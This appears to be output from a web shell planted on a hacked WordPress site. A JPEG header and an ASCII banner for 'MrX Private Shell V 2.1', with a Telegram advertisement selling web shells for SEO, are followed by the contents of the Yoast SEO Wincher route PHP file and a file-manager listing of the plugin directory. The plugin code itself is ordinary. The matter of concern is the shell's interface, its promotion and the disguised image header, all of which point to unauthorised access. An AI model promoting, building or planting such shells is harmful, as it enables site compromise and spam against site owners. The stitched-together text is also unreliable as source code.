����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
namespace Yoast\WP\SEO\Routes;
use WP_REST_Request;
use WP_REST_Response;
use Yoast\WP\SEO\Actions\Wincher\Wincher_Account_Action;
use Yoast\WP\SEO\Actions\Wincher\Wincher_Keyphrases_Action;
use Yoast\WP\SEO\Actions\Wincher\Wincher_Login_Action;
use Yoast\WP\SEO\Conditionals\Wincher_Enabled_Conditional;
use Yoast\WP\SEO\Main;
/**
* Wincher_Route class.
*/
class Wincher_Route implements Route_Interface {
/**
* The Wincher route prefix.
*
* @var string
*/
const ROUTE_PREFIX = 'wincher';
/**
* The authorize route constant.
*
* @var string
*/
const AUTHORIZATION_URL_ROUTE = self::ROUTE_PREFIX . '/authorization-url';
/**
* The authenticate route constant.
*
* @var string
*/
const AUTHENTICATION_ROUTE = self::ROUTE_PREFIX . '/authenticate';
/**
* The track bulk keyphrases route constant.
*
* @var string
*/
const KEYPHRASES_TRACK_ROUTE = self::ROUTE_PREFIX . '/keyphrases/track';
/**
* The keyphrases route constant.
*
* @var string
*/
const TRACKED_KEYPHRASES_ROUTE = self::ROUTE_PREFIX . '/keyphrases';
/**
* The untrack keyphrase route constant.
*
* @var string
*/
const UNTRACK_KEYPHRASE_ROUTE = self::ROUTE_PREFIX . '/keyphrases/untrack';
/**
* The login action.
*
* @var Wincher_Login_Action
*/
private $login_action;
/**
* The account action.
*
* @var Wincher_Account_Action
*/
private $account_action;
/**
* The keyphrases action.
*
* @var Wincher_Keyphrases_Action
*/
private $keyphrases_action;
/**
* Returns the conditionals based in which this loadable should be active.
*
* @return array
*/
public static function get_conditionals() {
return [ Wincher_Enabled_Conditional::class ];
}
/**
* Wincher_Route constructor.
*
* @param Wincher_Login_Action $login_action The login action.
* @param Wincher_Account_Action $account_action The account action.
* @param Wincher_Keyphrases_Action $keyphrases_action The keyphrases action.
*/
public function __construct(
Wincher_Login_Action $login_action,
Wincher_Account_Action $account_action,
Wincher_Keyphrases_Action $keyphrases_action
) {
$this->login_action = $login_action;
$this->account_action = $account_action;
$this->keyphrases_action = $keyphrases_action;
}
/**
* Registers routes with WordPress.
*
* @return void
*/
public function register_routes() {
$authorize_route_args = [
'methods' => 'GET',
'callback' => [ $this, 'get_authorization_url' ],
'permission_callback' => [ $this, 'can_use_wincher' ],
];
\register_rest_route( Main::API_V1_NAMESPACE, self::AUTHORIZATION_URL_ROUTE, $authorize_route_args );
$authentication_route_args = [
'methods' => 'POST',
'callback' => [ $this, 'authenticate' ],
'permission_callback' => [ $this, 'can_use_wincher' ],
'args' => [
'code' => [
'validate_callback' => [ $this, 'has_valid_code' ],
'required' => true,
],
'websiteId' => [
'validate_callback' => [ $this, 'has_valid_website_id' ],
'required' => true,
],
],
];
\register_rest_route( Main::API_V1_NAMESPACE, self::AUTHENTICATION_ROUTE, $authentication_route_args );
$track_keyphrases_route_args = [
'methods' => 'POST',
'callback' => [ $this, 'track_keyphrases' ],
'permission_callback' => [ $this, 'can_use_wincher' ],
'args' => [
'keyphrases' => [
'required' => true,
],
],
];
\register_rest_route( Main::API_V1_NAMESPACE, self::KEYPHRASES_TRACK_ROUTE, $track_keyphrases_route_args );
$get_keyphrases_route_args = [
'methods' => 'POST',
'callback' => [ $this, 'get_tracked_keyphrases' ],
'permission_callback' => [ $this, 'can_use_wincher' ],
'args' => [
'keyphrases' => [
'required' => false,
],
'permalink' => [
'required' => false,
],
],
];
\register_rest_route( Main::API_V1_NAMESPACE, self::TRACKED_KEYPHRASES_ROUTE, $get_keyphrases_route_args );
$delete_keyphrase_route_args = [
'methods' => 'DELETE',
'callback' => [ $this, 'untrack_keyphrase' ],
'permission_callback' => [ $this, 'can_use_wincher' ],
];
\register_rest_route( Main::API_V1_NAMESPACE, self::UNTRACK_KEYPHRASE_ROUTE, $delete_keyphrase_route_args );
}
/**
* Returns the authorization URL.
*
* @return WP_REST_Response The response.
*/
public function get_authorization_url() {
$data = $this->login_action->get_authorization_url();
return new WP_REST_Response( $data, $data->status );
}
/**
* Authenticates with Wincher.
*
* @param WP_REST_Request $request The request. This request should have a code param set.
*
* @return WP_REST_Response The response.
*/
public function authenticate( WP_REST_Request $request ) {
$data = $this
->login_action
->authenticate( $request['code'], (string) $request['websiteId'] );
return new WP_REST_Response( $data, $data->status );
}
/**
* Posts keyphrases to track.
*
* @param WP_REST_Request $request The request. This request should have a code param set.
*
* @return WP_REST_Response The response.
*/
public function track_keyphrases( WP_REST_Request $request ) {
$limits = $this->account_action->check_limit();
if ( $limits->status !== 200 ) {
return new WP_REST_Response( $limits, $limits->status );
}
$data = $this->keyphrases_action->track_keyphrases( $request['keyphrases'], $limits );
return new WP_REST_Response( $data, $data->status );
}
/**
* Gets the tracked keyphrases via POST.
* This is done via POST, so we don't potentially run into URL limit issues when a lot of long keyphrases are tracked.
*
* @param WP_REST_Request $request The request. This request should have a code param set.
*
* @return WP_REST_Response The response.
*/
public function get_tracked_keyphrases( WP_REST_Request $request ) {
$data = $this->keyphrases_action->get_tracked_keyphrases( $request['keyphrases'], $request['permalink'] );
return new WP_REST_Response( $data, $data->status );
}
/**
* Untracks the tracked keyphrase.
*
* @param WP_REST_Request $request The request. This request should have a code param set.
*
* @return WP_REST_Response The response.
*/
public function untrack_keyphrase( WP_REST_Request $request ) {
$data = $this->keyphrases_action->untrack_keyphrase( $request['keyphraseID'] );
return new WP_REST_Response( $data, $data->status );
}
/**
* Checks if a valid code was returned.
*
* @param string $code The code to check.
*
* @return bool Whether the code is valid.
*/
public function has_valid_code( $code ) {
return $code !== '';
}
/**
* Checks if a valid website_id was returned.
*
* @param int $website_id The website_id to check.
*
* @return bool Whether the website_id is valid.
*/
public function has_valid_website_id( $website_id ) {
return ! empty( $website_id ) && \is_int( $website_id );
}
/**
* Whether the current user is allowed to publish post/pages and thus use the Wincher integration.
*
* @return bool Whether the current user is allowed to use Wincher.
*/
public function can_use_wincher() {
return \current_user_can( 'publish_posts' ) || \current_user_can( 'publish_pages' );
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| abstract-action-route.php | File | 634 B | 0644 |
|
| abstract-indexation-route.php | File | 900 B | 0644 |
|
| alert-dismissal-route.php | File | 2.31 KB | 0644 |
|
| first-time-configuration-route.php | File | 10.22 KB | 0644 |
|
| importing-route.php | File | 4.05 KB | 0644 |
|
| indexables-head-route.php | File | 2.31 KB | 0644 |
|
| indexables-page-route.php | File | 13.74 KB | 0644 |
|
| indexing-route.php | File | 12.19 KB | 0644 |
|
| integrations-route.php | File | 6.75 KB | 0644 |
|
| meta-search-route.php | File | 1.94 KB | 0644 |
|
| route-interface.php | File | 267 B | 0644 |
|
| semrush-route.php | File | 6.22 KB | 0644 |
|
| supported-features-route.php | File | 1.27 KB | 0644 |
|
| wincher-route.php | File | 7.24 KB | 0644 |
|
| workouts-route.php | File | 3.09 KB | 0644 |
|
| yoast-head-rest-field.php | File | 5.78 KB | 0644 |
|